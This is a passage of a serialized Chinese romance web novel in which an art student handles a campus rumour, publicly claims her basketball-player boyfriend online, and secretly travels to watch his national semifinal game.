孟棠点了点头:“应该是,十几天了,就一两条信息。” 谢泠音以为她失落,安慰道:“比赛重要嘛,你还得熬一段时间。” 孟棠叹了声气:“大概率是六月中下旬开始比赛,到时候放暑假都不一定能见到。” 谢泠音拍了拍她:“七月份小别胜新婚,悠着点。” 孟棠下意识问:“什么悠着点?” “还能什么悠着点。”谢泠音笑得暧昧,“你俩不是比完赛去香港玩?到时候不得住一个房间?既然住了一个房间,你觉得会发生什么呢?” 孟棠一噎:“不会吧?” “为什么不会?你俩那会儿也谈两月了。” 孟棠朝谢泠音勾了勾手指,谢泠音凑过去了,她才小声地问: “你和许鹤清……咳咳,两、两个月就……就那什么了?” 谢泠音冷笑一声:“我两个月跟他分手了。” 孟棠:“……那你在这里说这些。” “我可不是瞎想啊。”谢泠音笑得意味深长,“你想想啊,维多利亚港,一幅璀璨流动的画,你往酒店的大床上一趟,美景尽收眼底,都到这地步了,他能没点想法吗?” 孟棠眨巴着眼睛,愣了愣。 桌上的手机响起,孟棠终于回过神,看见来电显示是魏川,一个激灵。 谢泠音笑了声:“接呗。” 莫名有点不敢接。 孟棠犹豫好半天,清了清嗓子,在他挂断之前接了起来:“喂。” 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第144章 消失了十天的薄情郎 魏川刚结束训练,理疗间隙给孟棠打的电话。 他托着一副疲累的身体,语气蔫蔫地问孟棠:“干什么呢?” 孟棠将腿并拢,缩到椅子上,回他:“刚洗过澡,在看cubal的官网。” 魏川问:“这有什么好看的?” 孟棠说:“看看赛程呗,你怎么有空给我打电话了?” “怎么感觉你的语气挺哀怨的。”魏川恢复了点活泼劲儿,“想我了?” “没有。”孟棠口是心非,“你听着好像很累。” “嗯。”魏川生无可恋地应了声,“今天真的把我们往死里练,主要是队员犯了错,全体受罚了。” 孟棠:“那你们结束了没有?” 魏川:“结束了,等会儿就去洗澡睡觉。” 孟棠瞥了眼时间,说:“也不早了,你去睡呗。” “等一下。”魏川阻止她挂电话,“七月不是要去香港吗?那会儿是旺季,你现在把你相关证件的信息发过来,我让人买票,包括一些好的酒店都得提前预定锁房。” “呃……”孟棠顿了下,“那你要订什么房型?” 魏川想也不想:“套房啊。” 孟棠松了口气,套房好啊,不止一个卧室。 “行,那我现在发给你。” “好,你也别睡太晚了,晚安。” “嗯,晚安。” 孟棠挂了电话,将自己的证件信息全都发了过去。 石岚和杨可从外面进了寝室,咋咋呼呼弄响了门。 孟棠下意识瞥过去,见她俩脸色不对,问:“你俩怎么了?” 石岚将包扔到桌上,问孟棠:“你之前是不是坐过一辆红色的跑车?” “是啊。”孟棠一脸懵,“秦渊的,我爷爷出院那天,魏川没空,拜托他去送我爷爷,后来他顺道送我回来了。” “操。”石岚骂了声,“楼上油画三班的小绿茶说你背着魏川不干正事,被我和杨可抓包骂了一顿。” “谁啊?”谢泠音蹙眉,“舒思文?” 杨可:“没错,她还给魏川当过迷妹呢。” 孟棠没什么表情,只是问石岚:“她住哪儿啊?” 石岚:“501。” 孟棠点点头,直接往外走。 谢泠音一愣,追了上去,石岚和杨可对视了眼,都从两人眼中看到了不可置信。 这还是木头棠吗?怎么一副要干架的气势。 “愣着干什么,追啊。” “走走走。” 孟棠径自爬上五楼,敲了501的门。 里面有人应道:“进来。” 孟棠推开门,里面四个女生一愣。 孟棠的视线扫过她们的脸,问:“谁是舒思文?” 三个女生下意识看向最里面的桌位。 舒思文站了起来,问:“你找我?” 神态平静,语气自然,显然是认识孟棠的。 什么寒暄都没有,孟棠直接问她:“你从哪里听来我背着魏川不干正经事的?” 舒思文室友的眼神全都变了,变成了吃瓜状态。 舒思文没说话,心里有些虚。 “我不是来找你茬的,你就告诉我你听谁说的,或者你亲眼看见了?” 孟棠的语气很平静,看着不像是来吵架的。 舒思文还留着个心眼,问:“你要干什么?” 孟棠看着她,说:“因为我要一个一个去澄清。” 谢泠音蹙眉:“哪有自证的?还一个一个去澄清?” “因为魏川看到的话,他一定会生气。”孟棠说,“快比赛了,我不想让任何事情影响到他。” 舒思文立刻道:“我也是听班里其他人说的,这事已经传了一阵子了。” 她可不敢耽搁魏川的比赛,调查下来,她自己也得受处分。 孟棠:“……” 她应该庆幸没传到体院。 她冷冷地瞥了眼舒思文,说:“送我回来的人是魏川的朋友,是魏川让他送我回学校的。” “亲眼看见不等于事实,下次说话注意点。” “如果不分青红皂白地污蔑、造谣,我一定不会善罢甘休。” 舒思文被她唬得一愣,都是美院人,可没忘记这姐搞走了两个欺负她的男生。 更何况,她和院长陈洵礼有点关系。 舒思文今晚也是口嗨,孟棠都找上门了,她哪还敢反着来。 “知道了,对不起。” “嗯,你现在去找你们班里说这话的人,澄清一下,再一级一级往上找。” “这事你自己看着办,反正再有流言出来,我就算在你头上。” 舒思文尴尬地笑了笑:“我去啊?” 还要追本溯源? “难不成是我去吗?”孟棠看着她,“捕风捉影的又不是我。” 舒思文咬牙切齿,又不得不忍:“行,我去。” 倒了八辈子的霉了,看孟棠这模样,那些流言蜚语八成是假的。 孟棠见她态度还算可以,转头出了501。 石岚赶紧跟上去,夸道:“你牛啊,直接上门贴脸。” 孟棠无奈了:“我是真的怕魏川看到。” 本小章还未完,请点击下一页继续阅读后面精彩内容!他平时看着脾气可好了,真的生起气来,孟棠都不能保证能不能拉住他。 谢泠音拉开石岚,说:“没事的,秦渊送你回来都多久之前的事了,我看舒思文的表现,这事也没多少人信,魏川整天忙着训练,发个消息的时间都没有,他能知道什么。” 孟棠应了声:“也只能这么想了。” 过了两天,关于她的流言蜚语没有任何的影子,孟棠彻底放下心来。 她无聊地摆弄着手机,时不时就要点进和魏川的聊天框里。 突然!短视频的cubal官号跳出一条新动态。 点进去一看,32进16的赛程出来了—— 第xx届CUBAL一级联赛男子32强赛赛程正式公布!6月22日热血开战! “赛程出来了。”孟棠转头跟谢泠音说,“22号开始,京沪汉厦四个赛区,不知道魏川会被分到哪个城市。” 谢泠音说:“我听许鹤清说过,上届前8名的球队作为种子队,分散到4个赛区,剩下的24个队伍按分区赛成绩分档抽签,而且同一分区的球队会尽量回避。” 孟棠拿了笔,在白纸上圈圈画画。 抽签的原则就是种子队分散和同区回避,每个城市八支队伍,前四名晋级16强。 这是规避了提前强碰强的风险的。 组委会直接分配的话,魏川大概率会去汉城。 首都两个强队根本不用想,一个在京,一个在沪,而南方的广大自然会是厦城。 如果分配方式不是抽签,z大男篮必然会去汉城。 还真给孟棠猜着了,一个礼拜后,是直接分配种子队的方式。 毕竟也要考虑地域差异对球员身体的影响。 而公布了赛程后,魏川彻底失联。 孟棠这两天有些心不在焉,心想魏川不会已经去了汉城吧? 可这也太早了,一般提前三五天。 谢泠音三人推开寝室的门,缓缓呼出一口气:“外面热死了,还是寝室凉快。” 孟棠心不在焉“嗯”了声。 谢泠音将买的甜品搁她桌上,笑道:“心里苦啊,吃点甜的。” 孟棠叹了声气:“我感觉谈个恋爱都不像我了。” 开始变得患得患失,偶尔还能文艺地抽个忧郁的风。 没有了以前的心如止水,看什么都淡定的心态。 魏川简直是上天派来折磨她的。 孟棠拆开红丝绒蛋糕,狠狠挖了一口塞进嘴里。 谢泠音觉得好笑:“就这么郁闷啊。” “十天。”孟棠两根手指交叠,“我当初到底在耍什么酷,跟魏川说,你不用顾及我,比赛要紧。” 谢泠音彻底被逗笑:“可是再给你一次机会,你还是会这么说啊。” “他就算现在站我面前,我也还是这话。”孟棠哭笑不得。 她倒是没怪魏川,只是感叹一下处于恋爱中的每个人,都做不到纯粹的理智。 只能哼哧哼哧埋头吃蛋糕,化郁闷为胃口。 吃完,孟棠拿湿纸巾擦了手。 手机嗡嗡响了起来,孟棠垂眸一瞥,愣住了。 “呦。”谢泠音看到来电显示,戏谑了一声,“这不是你那消失了十天的薄情郎吗?” 孟棠朝她“嘘”了声:“我接个电话。” 电话刚接通,那头传来急切的喘息:“下来,我在你们楼下。” 孟棠怔了两秒,握着手机往外跑。 谢泠音对石岚和杨可招了招手:“魏川肯定在楼下,走,去阳台看看。” 随后,她推开了阳台的门,扒着栏杆静静等着。 没一会儿,孟棠跑了出来:“魏川。” 魏川直接展开双臂,将她抱了满怀,一个使力抱起来甩了两圈。 石岚和杨可抓住彼此嘤嘤嘤嗑CP:“好甜……” 魏川抱着孟棠不撒手,傻笑了好几声:“想死我了,真他妈不是人受的罪。” 孟棠笑了声:“放我下来。” 魏川松开她,问:“想我不?” 孟棠点点头:“想。” 软绵绵一个字,让魏川再受不了,一手揽住她后脖颈,一手抵着孟棠的下巴,趁着夜色,吻了上去。 谢泠音一把捂住石岚的嘴:“别出声,走了走了。” 底下不知道吻了多久,反正孟棠被松开的时候,有一种酒精上头的错觉。 魏川轻笑:“亲了这么多次,怎么还是气不够喘?” 孟棠握拳,对着他腹部就是一下:“你怎么会来?” 魏川揉了揉她的头:“明天出发去汉城。” 孟棠一愣:“这么快?” 魏川解释道:“提前气候适应,场地熟悉,到那边再进行为期一周的训练和战术制定。” 孟棠上前搂住他的腰:“知道了。” 魏川亲了下她的额头:“一定要看直播。” “知道了。” 魏川紧紧勒了一下孟棠的腰,十分不舍地说:“我要走了。” 孟棠诧异:“这么快?” 魏川:“没办法。” 孟棠哼了声,没有松手。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第145章 宣誓主权 晚风温柔,人也可爱。 魏川哪里舍得走,他捧住孟棠的后颈,安抚地捏了捏:“再待五分钟。” 孟棠眉眼绽放如三月的花,明媚甜美,她笑着抱住魏川的腰,靠在他胸口蹭了蹭。 几分钟也是好的,拥抱一秒是一秒。 看来确实是想他了,魏川勾了勾唇,没有得意,只有心疼。 他叹了口气,默默将人抱紧。 他和孟棠才刚谈恋爱呢,也是委屈了她总是一个人。 人家男朋友整天陪着上课下课,吃饭逛街,孟棠谈了跟没谈似的。 “你总一个人去木雕工作室,记得准时吃饭。”魏川手掌上移,轻轻拍了拍她的头,“我得在你们寝室放个眼线监督你,不准阳奉阴违啊。” 他早就发现了,孟棠有时候挺懒的,一旦错过饭点,就懒得吃了。 偶尔可以,长期对身体不好。 “还有眼线?”孟棠从他怀中抬起头,“谁啊?” “我自己都不知道是谁。”魏川笑道,“我还没跟你室友说,反正我有她们微信,到时候再说。” 孟棠:“我猜你想找的是杨可。” 魏川弹了下她额头,故意卖关子:“不告诉你。” 孟棠轻轻咬着下唇,眼睛提溜着往四周转。 魏川挑了下眉,这是要做什么? 四周无人,适合做坏事,孟棠双手搭上魏川的后颈,将他整个人往下拉。 魏川只能配合着低头弯腰。 轻轻一声“啵”,香甜柔软的一个吻弄得魏川头晕目眩。 “现在可以告诉我了吗?” 健康的恋爱让人美丽一万倍,孟棠的眉眼间流转着以前没有的狡黠灵气。 “操。”魏川咬了咬牙,狠狠勒了下她的腰,“都跟谁学的本事?” 孟棠哼笑:“就你会?” “我不会。”魏川后腮紧绷,掌心托住她的脖颈,大拇指抵着下颌,迫使孟棠最大限度地仰着头,“亲一下,张嘴。” 声音无限缱绻,孟棠一愣,唇舌瞬间被攻占。 分别在即,魏川的情绪在这一刻达到顶峰,还没走,思念已如波涛般汹涌。 魏川吻得又急又深,孟棠有一瞬间换不过来气,下意识抵住他锁骨位置往后推。 魏川的手很大,大到轻而易举可以钳制住孟棠的两个手腕。 抓住了,直接锁着她放了下去,孟棠“唔”的一声,被他拽得身体前倾。 两具身体像吸在一起的磁铁,孟棠完全失去了反抗的力道。 纠缠在一起的呼吸早已分不清彼此。 直至远处传来嬉闹的声音,魏川才微微转了身体,松开了孟棠。 他知道她害羞,用自己给她挡着旁人暗戳戳的目光。 “好了。”魏川笑着顺了顺她的长发,温柔道,“人走了。” 孟棠推了他一把,心口怦怦乱跳:“你也赶紧走吧。” “不是吧,刚才还舍不得呢。”魏川故作伤心,“亲过就不认人了?” 那抹灼热的呼吸还萦绕在唇齿间,孟棠被亲到感觉脑袋都缺了氧。 她拉过魏川的胳膊,将他转了个身,推他往路上走:“你走吧,我回寝室了。” 魏川转过来,手指摸到她绑头发的发圈,稍一用力扯了下来。 头发松散地垂下来,孟棠仰头看着他:“你拿我发圈干嘛?” “有用。”魏川揽过她的头,在她眉心亲了下,“这下真的要走了,上去吧。” “嗯。”孟棠朝他挥了挥手。 回到寝室时,孟棠对上三张笑意盈盈的脸。 “看我干什么?”她下意识回头看了眼全身镜,“我脸上没什么吧?” 谢泠音朝她噘嘴:“啵啵。” 孟棠张了张唇:“……谢泠音!” 谢泠音笑着抵在椅背上,说:“魏川是真喜欢你啊,眼睛笑起来都没了。” 孟棠指了指她们:“你们是不是偷看了?” 石岚捏了捏手指:“看了一点点,你俩亲的时候,我们就退回堡垒了。” “真服了。” 孟棠红着脸,去了自己的位置。 谢泠音跟过去,说:“我刚才和许鹤清开了视频,听他说魏川明天就要去汉城了,怪不得他今晚来找你呢。” “是明天去。”孟棠说,“提前适应一下环境,正好他走的这一个礼拜,我博物馆的工作也接近了尾声。” 这个星期,她正好去扫个尾,然后专心看他的比赛直播。 第二天上完课,孟棠就去了博物馆。 忙到晚上八点才回,在东门口潦草地吃了顿晚饭才回寝室。 谢泠音见她回来,放了心,说:“你今天看手机没?” 孟棠摇摇头:“没时间玩。” 谢泠音笑了声:“你家魏川上热搜了。” “嗯?”孟棠一愣,“他又不是明星,上什么热搜?” “还不是明星?”石岚插了句,“篮球明星也是星啊,更何况他长那么帅。” 杨可环住孟棠的肩膀,说:“你知道网友怎么评价他的吗?” 孟棠从包里掏出手机:“怎么评价的?” 本小章还未完,请点击下一页继续阅读后面精彩内容!“四字箴言。”杨可用手指头一个一个给她数,“俊朗非凡、宽肩窄腰、精准投射、哥哥上.我。” 孟棠一下哑了,半晌才转头看着杨可:“你确定最后四个字能说?” “不是我说的。”杨可摇了摇头,“你还是看手机吧。” 孟棠放下包,澡也不洗了,人也不累了。 她解锁了手机,进了相关的软件,这才明白魏川他们球队坐高铁时被拍照传上了网络。 本就是cubal的赛事,主流媒体和娱乐传媒都有报道,只不过前者聚焦正能量和体育,后者就显得八卦多了。 主流媒体回顾了魏川拿下东南赛区MVP的历程,娱乐媒体都是“球员睡姿”“吃的什么零食”“平均身高”这类话题。 其中最火的一个视频就是魏川将牛奶盒扔进了垃圾桶,和孟棠当初带他去当模特是一模一样的表情。 孟棠翻了翻评论,叫老公的,叫哥哥的一抓一大把。 她截了图,啐了句:“爱现。” 评论里也有不关注这个圈子的,纯粹觉得他帅的小姑娘,一直在问是什么比赛。 有人给她科普了之后,她去关注了魏川,并将私信的截图发到了相关词条下,得意洋洋地说:【看我多久能拿下大帅哥,请各位见证。】 孟棠点开截图,倒是挺真诚的一段话,大概就是遇到了crush,犹豫了很久给你发的信息,说魏川笑起来很可爱,能不能要个联系方式之类的。 孟棠看了眼她的昵称——。 孟棠哼了声,直接在这个女生的截图评论下回复:【他有女朋友了。】 :【你怎么知道?】 孟棠顶着“木头片儿”的昵称继续回复:【你看他手腕上的红色真丝小肠发圈,是他女朋友的。】 其实刚才看见这个,孟棠自己也愣了下。 还以为他拿了发圈要干什么,原来戴手腕上去了。 不过这人也真是的,要发圈她多的是,干什么戴一个这么鲜艳的。 对面许久没回,定然是去看照片和视频了。 孟棠本来以为打发了一个情敌,哪知道十分钟后,又回复她了: 【打篮球的不都会戴护腕之类的吗?我看高铁站的图片和视频也不清晰啊,也不能说明是发圈吧?即便有了发圈,也不代表就是女朋友的吧?】 孟棠无语了一瞬,把自己另一只一模一样的发圈拍了照,回复了过去。 :【你随便拿一个就能糊弄我?】 孟棠:【我没有糊弄你,他是真的有女朋友,就是我。】 :【我进你主页看了一下,一堆的木头,一点恋爱痕迹都没有,你别是臆想上瘾吧?】 孟棠忍了忍,去相册里找到和魏川的合照,都是在螺洲岛拍的。 她一连发了九张,并配了文案:男朋友比赛去了,想他! 冲动地做完这一切,孟棠回复:【你再进我主页看看。】 然后……没然后了,化了。 不少网友围观了这场“战斗”,也不知道怎么搬运传播的,然后“cubal球员魏川的女朋友宣誓主权”这件事,传遍了cubal的圈子。 孟棠最新的动态下,评论数激增,她翻了翻,基本是祝福的。 孟棠放下手机,小声说了句:“招蜂引蝶。” 石岚围观了全程,差点激动到摔键盘。 “卧槽,孟棠,你牛逼啊,直接宣誓主权了。” 孟棠一愣:“你看见了?” “嘿嘿。”石岚鬼腔鬼调笑了声,“我围观了全程,还在想你会怎么解释,你就放了九宫格。” 孟棠说:“我解释了好几遍,人家不信啊。” 石岚:“是是是,你是被逼的。” “不跟你说了。”孟棠起身拿了毛巾,“我去洗澡了。” “害羞了。”石岚抵了抵杨可,“不知道魏川能不能看见,嗷?” 杨可也笑:“还没开始比赛,手机应该也管不到那么严格吧,可能会看见。” 石岚:“那魏川要是看见,不得爽死他。” 不得不说,石岚又预言了。 魏川是在来到汉城的第三天晚上看见的,手机发下来后,他第一时间就想打给孟棠。 哪知道被邵一鸣和田聿拉过去,看到了孟棠宣誓主权的全过程。 田聿反手拍了下魏川的胸口:“兄弟,采访一下,你现在什么感想?” “别他妈浪费我时间啊。”魏川推开田聿,“我要给孟棠打电话。” “赶紧去。” 魏川起身离开,半点不想浪费这半小时的空闲。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第146章 偷偷去看比赛 孟棠刚躺上床,手机响了起来。 是魏川的专属铃声,孟棠眼眸一亮,划下了通话键:“喂。” “接这么快?”魏川笑了声,“想我了?” 孟棠哼了声:“想你干什么?想你招蜂引蝶?” 意有所指,魏川不慌不忙地求饶:“我多冤枉啊,网上的事我刚刚知道,生气了?” “你就爱现,扔个垃圾都耍酷,耍给谁看啊?” 从没听过孟棠这种劲劲儿的语气,魏川忍着笑,哄道: “是是是,我爱现,下次再也不敢了,原谅我吧,嗯?” 孟棠哼了声。 “你不是已经宣示主权了,我是你的,谁都抢不走,我都戴了那么明显的发圈了,你就当是精神不正常的吧。” 说到发圈,孟棠突然get到一个点,她从床上啊坐起来,问: “你走的时候,为什么拿走我发圈?” 魏川说:“我看田聿他们之前谈恋爱都会戴女朋友的发圈,不过是黑色的,田聿手腕勒得红痕一道道的也没摘。” 孟棠想起田聿那个体型,带着小皮筋,无异于大熊戴头发,意外的有些萌。 她笑了声,说:“我猜还有另外的原因。” 魏川挑了挑眉:“什么原因?” “挡桃花啊。”孟棠笑了声,“我猜对了吗?” 魏川笑了:“你还真猜对了。” 普通场次的比赛现场能容纳近三千人,大多都是学生。 很多女生完全是为了看帅哥来的,魏川每次比赛都有一堆女生去要他的联系方式。 他戴孟棠的皮筋,也是想让那些人知难而退。 虽然比赛的时候不能带,但比赛完可以啊,到时候现场镜头一切,他挥手致意,眼斜的才看不见。 孟棠得意地笑了声:“我也是刚才想明白的。” “聪明的小孩。”魏川语气低沉又温柔,“你现在在干什么?” “我刚躺床上你就打电话过来了。”孟棠说,“我本来以为你这几天都会没消息的。” 魏川“嗯”了声:“就今天有点时间,下次再联系都不知道是什么时候。” 孟棠抿了抿唇,22号比赛正式开始,分了五个阶段。 从32进16,再从16进8,再8进4,然后Final Four,最后是总决赛。 一个阶段比一个阶段难,整场比赛要到七月中下旬才能结束。 也就是说,他们只有总决赛在现场见了。 孟棠默默算了下时间,Final Four最起码要到七月中旬。 “没关系的。”孟棠说,“你比你的赛,直播我会一直看的,而且马上进入期末周,我也没什么时间想些有的没的。” 魏川“嗯”了声:“博物馆的工作呢?结束了吗?” 孟棠说:“明天就能结束。” 魏川松了口气:“可算结束了。” 孟棠失笑:“就算不结束,我还能跟李寒津怎么着?” “胡说什么呢?”魏川皱了皱眉,“我都不乐意你提他的名字,小人一个。” “好了,不提他了。”孟棠说,“你有多少的时间打电话?” 魏川说:“半小时。” “那你不给家里人打个电话吗?”孟棠问。 魏川:“不打了,反正过段时间也要来看我比赛。” 孟棠一愣:“什么时候?” 不会是决赛吧? 魏川清了清嗓子:“决赛。” 孟棠:“……” 怎么办?到时候肯定能见到吧? 魏川见她没动静了,解释道:“我一开始忘了跟你说这事,我今晚给你打电话也是想把这件事告诉你,我爸妈和我姐姐都过来,你还来吗?” “那……”孟棠结巴了下,“我都答应你了,能不去吗?” 魏川放了心:“没事,你就跟谢泠音一起过来,不强求你们坐一起,不过比赛结束,肯定会见到,有我在,别担心。” 孟棠弱弱地“嗯”了声。 魏川有些心疼:“要不我让他们在家看直播吧?” “别别。”孟棠赶紧阻止,“出的什么馊主意。” 魏川笑道:“我已经跟他们打过招呼了,只是看球赛,不算见家长的。” 孟棠:“好,我知道了。” 眼见时间快要到了,魏川放低了音量:“亲一下?” 孟棠耳朵一热:“我在宿舍呢。” “那我亲你。”魏川对着手机听筒“啵”了声,“好了,你先挂吧。” 孟棠应了声,挂了电话,随后坐床上发呆。 还没睡觉,她的床帘没拉上,谢泠音见状,问:“发什么呆?不睡觉啊?” 孟棠趴到床边,眨了眨眼,对谢泠音说: “决赛那天,魏川的家里人也去现场。” “挺正常的啊。”谢泠音说,“毕竟是全国赛的决总赛,去看也正常吧?那可是总台直播。” “我怎么办啊?”孟棠微微死了一下,“虽然魏川说了只是去看他比赛,但肯定会见到,见到应该怎么办?” 谢泠音失笑:“见到就正常打招呼啊,又不是见家长,你怕什么。” 本小章还未完,请点击下一页继续阅读后面精彩内容!孟棠叹了声气:“我紧张。” 她跟魏川才谈多久啊。 “没事。”谢泠音拍了拍她,“我到时候陪着你。” 孟棠也只是发发牢骚,魏川说他姐姐也会去现场,想到魏思嘉,孟棠提着的心稍稍放松。 想通了之后,她拉上床帘睡觉去了。 第二天是周六,上午十点,她去了博物馆。 最后一天,只剩下一个砑光上蜡这一步骤,花了不到一小时的时间。 这个步骤是李寒津来的,孟棠全程没有动手,她只是看着。 结束后,孟棠问李寒津:“你手艺半点没生疏,为什么现在走商业化路子?” 李寒津笑了声:“赚钱啊。” 孟棠张了张嘴,无话可说。 “你是不是觉得我掉钱眼儿里了?”李寒津说,“当初师父将我赶出门,最重要的一个原因不就是怕我给不了你物质丰满的生活吗?” 孟棠:“……你没救了。” 爷爷可能会有这方面的意思,但更多的还是她和李寒津,根本就不合适。 老爷子火眼金睛,活了一辈子,还没怎么看错过人。 现在来看,当初早早将他逐出师门,也算未卜先知了。 李寒津太不坦荡,小人也。 孟棠一言不发,背着包出了博物馆。 三天后,全国赛热烈打响。 孟棠火急火燎进了宿舍,手上拎着一堆吃的。 谢泠音赶紧接了过去,问:“石岚和杨可呢?” 孟棠说:“她俩去买卤货了,怎么样?开始了吗?” 谢泠音说:“快了,先坐吧。” 她们在寝室搞了个投影仪,是许鹤清弄来的装备。 第一场比赛,下午两点开始,z大对阵文澜工业大学,是北方带去的基层赛冠军。 比赛一开始,石岚她们啃鸡爪啃得停不下来,孟棠却没心思吃东西了。 许鹤清喜欢看比赛,谢泠音一直跟着他看,所以比孟棠懂得多。 孟棠虽然也弄清了规则,但还是想找个人确认一下。 她靠近谢泠音,说:“你有没有感觉,这个文澜工业大学很强?” 谢泠音点点头:“好歹也是基层赛的冠军,但你也别忧心,这才哪到哪,后面的比赛只会越来越难。” 孟棠点了点头,拿起手机,背过身,对着自己和投影仪自拍了一张。 比赛继续推进,两方打得难舍难分,谁也不让谁。 但文澜工业大学的整体水平拔不上来,魏川和队友之间又默契十足,第二节时,比分逐渐拉大。 孟棠的眼中只能看见一个人,当魏川持球推进时,整个球场的节奏尽握他手。 即便是高速移动中仍保持着不可思议的平衡。 攻击时像一道风,防守时是一张网。 他的攻击性在球场上体现得淋漓尽致。 “啧啧,是真的帅啊。”石岚没忍住夸了句,“以前我会在网上大喊,这样的男人到底是谁在谈,这一刻,我得自豪地承认,是我姐妹在谈。” “……” 孟棠笑了笑,再次看向屏幕里的魏川。 他奔跑时仿佛带着火焰,灼眼到现场的女生疯狂地喊他的名字。 他也在这样的呼喊中,赢得了这场比赛的胜利。 孟棠笑了声,转头和谢泠音碰了下奶茶。 这场晋级打到26号,z大一路高歌猛进,全都拿了名次。 之后也一路顺利晋级,孟棠每次都拍了自己看直播的照片,打算到时候留给魏川看。 时间不知不觉过去大半,学校里关注cubal的人少了很多,因为要期末考试了。 今年z大放假比较早,不到七月就全部放了。 12号当天,z大成功进入四强。 四强一出,各大媒体全都进行了报道。 之后的Final Four在花城举行,孟棠想去现场。 她一个人偷偷地去,倒不是不信任魏川挺不到总决赛,而是想要见一见去年的此情此景。 她在网络上搜过魏川去年进四强的比赛视频,意气风发。 今年,她想站在他身边,哪怕在旁边看着也是好的。 孟棠当即拿出手机,这次去花城有点远,恐怕要坐飞机。 官方渠道的门票开售时间就在明天,孟棠怕魏川知道她过去,选了最便宜的山顶票。 买完票,她又在比赛体育馆附近订了酒店。 z大就住隔壁的公寓式酒店,是学校专门包下来给球员住的,比赛期间,非专业球员和相关工作人员进不去。 雁清没有机场,15号上午,孟棠转车去了另一个城市的机场。 直至晚上九点才落地花城。 喜欢再近点,就失控了请大家收藏:()再近点,就失控了更新速度全网最快。 第147章 老公好帅 孟棠到了酒店,叫了外卖。 洗完澡的时候,外卖被机器人送到了房门口。 她拎到窗户边的圆桌上,随意找了个纪录片看了起来。 她吃饭看纪录片这点,总被室友调侃,太高大上了。 其实是她不看综艺,因为明星什么的,一个也不认识。 饭吃一半,谢泠音打来了视频。 孟棠接了,将手机竖起来靠在保温杯上。 谢泠音一看背景不对,问:“你在哪儿啊?” “酒店。”孟棠说,“我来花城了。” 谢泠音一愣:“你去看半决赛了?” 孟棠点了点头:“嗯,山顶票。” “我去,只能看大屏了。”谢泠音吐槽,“图什么啊?” 孟棠说:“在家静不下心,也就做不了事,索性飞过来看比赛。” “不是,你看比赛你就看,你买那么远的票干什么?”谢泠音很是不解。 孟棠说:“不想被他知道我来这里了,我怕打扰他。” 魏川有点什么根本藏不住,孟棠生怕他打球的时候,还得费劲去观众席找她的身影。 谢泠音朝她竖起大拇指:“我一直以为你的人设是人淡如菊,原来谈恋爱也是不顾一切啊。” “好了,别调侃我了。”孟棠说,“你这么晚给我打视频有事吗?” 谢泠音说:“总决赛不是在首都举行嘛,我跟许鹤清他们决定提前两天过去玩一玩,想叫你一起。” “他们?还有谁?” “李卓和文心予旅游回来了,叫了梁衡一起,打算上京支持兄弟。” 孟棠失笑:“行,我看完比赛直接去找你们,你们几号过去?” 谢泠音说:“19号。” 孟棠:“好,那就19号见吧。” 18号季军赛后,魏川他们肯定要进行休整与恢复。 大概率会在19号下午去首都,再适应两天,准备23号的总决赛。 孟棠挂了电话,将垃圾收拾好扔到了门外。 一个人睡酒店,总得要留根神经,所以这一夜,孟棠没有睡好。 好在魏川的比赛下午四点才开始,她补了一觉后被闹钟叫醒。 孟棠随意套了件白色的亚麻连衣裙出了门,顺手带上了法式平顶帽。 吃了饭,两点左右,她打车去了比赛场馆。 开场前一个小时排队,排的时间倒是不长。 孟棠的位置在三层看台的边缘区域,是距离球场最远的一个位置。 只能大概看到场地中央的战术跑位,但看不清人脸,只能依赖于大屏幕。 孟棠举起手机,转过脸对着球场拍了一张。 坐着修修图,改改滤镜,一个小时很快过去。 直至场馆坐满了人,广播介绍了两边球员的情况,紧接着z大的对手电科大的男篮上了场。 一阵欢呼后,终于轮到了z大。 广播一个一个介绍,轮到魏川时,欢呼声明显高了一大截。 “接下来是z大的核心主力,27号双能卫**——魏川!” 尖叫浪潮席卷了整个场馆,广播里开了句玩笑:“看来除了球技,颜值也很重要啊。” 球迷们因为这句话喊得更大声了。 “好,经过球员的入场仪式,我们比赛即将开始。” 孟棠听到这话,下意识坐直了身体。 比赛正式开始,电科大率先拨到球,z大立刻摆出联防,魏川压低重心,干扰对方的运球节奏。 “魏川的横移速度很快,对方变向了,预判准确,球掉了,漂亮!” 邵一鸣拿到球后,快速冲击,得了两分。 对方再次接球,快攻拿下两分。 球回到魏川手中,对方立刻围上来防守,连续的身体触碰后,魏川后仰一个三分没进。 对方再次拿到球,又被田聿半路截断。 这才刚开始,就打得这样胶着,空气中凝着一股**味。 孟棠看着大屏幕,不自觉屏住了呼吸。 这是全国半决赛,今明两天一共两场,赢的两支队伍进入决赛,输的队伍进入季军赛。 也就是说,魏川这场必须赢了才能去首都参加决赛,不然的话,只能和明天失败的队伍争第三名。 开场三分钟了,双方才得两分,可见激烈程度。 大屏上双方球员各自站阵,邵一鸣持球推进,半场遭遇双人包夹,果断出手,将球给了魏川。 魏川跳起扔了一个三分。 “好球,三分出手,魏川的三分是真的厉害。” “确实,我感觉他被盯烦了,直接甩手扔的。” 解说让现场轻松了点,接下来的三分钟里,双方基本肉贴肉在打。 魏川借双掩护命中三分,对方3号抢断后快攻暴扣。 你来我往间,第一小节打了个平手。 第二节z大调整了策略,魏川作为持球组织的核心,其他球员改打无球。 “这个交叉掩护的跑位很精彩啊,魏川底线接球,利用假动作突破了禁区。” “进了,好球。” “目前比分26比24,魏川再次得球,又进了,看起来z大掌握了第二节开场的节奏,希望能继续保持。” “假传真投,**,这个过人,魏川简直就是滑手的泥鳅。” 现场的解说越来越激动,孟棠看着逐渐拉开的比分,松了松紧攥的手指。 电科大叫了暂停,回场改打联防。 z大洞悉了他们的战术,利用邵一鸣精准的传球破解防守。 重重防守之下,魏川第四次助攻曹岩进了三球,像开了上帝视角。 节末最后两攻,魏川造成对方15号第三次犯规,两罚全中。 压哨时,对方进了一个三分,第二节比分定格在41:35,z大带着6分优势进入下半场。 休息室里,贺教练敲了敲白板,问邵一鸣:“你膝盖还能撑多久?” 邵一鸣说:“打满三节吧。” “行,到时候让小南上。” 贺教练示意助理教练调出数据,说:“都听好了,注意防守陷阱,魏川第三节开头必须撕咬下10分,撕不下来,第四节会打得很辛苦。” “第三节他们要是变2-3联防,你们就打蛇打七寸!” “三套战术抡着换,我就不信打不死他丫的。” 再次上场时,双方的眼神接触就差冒火花了。 事关决赛,谁都不想输,铆足了劲也不行,必须拼命。 魏川的队伍围成一团,拳头打在一起,喊了声“加油”。 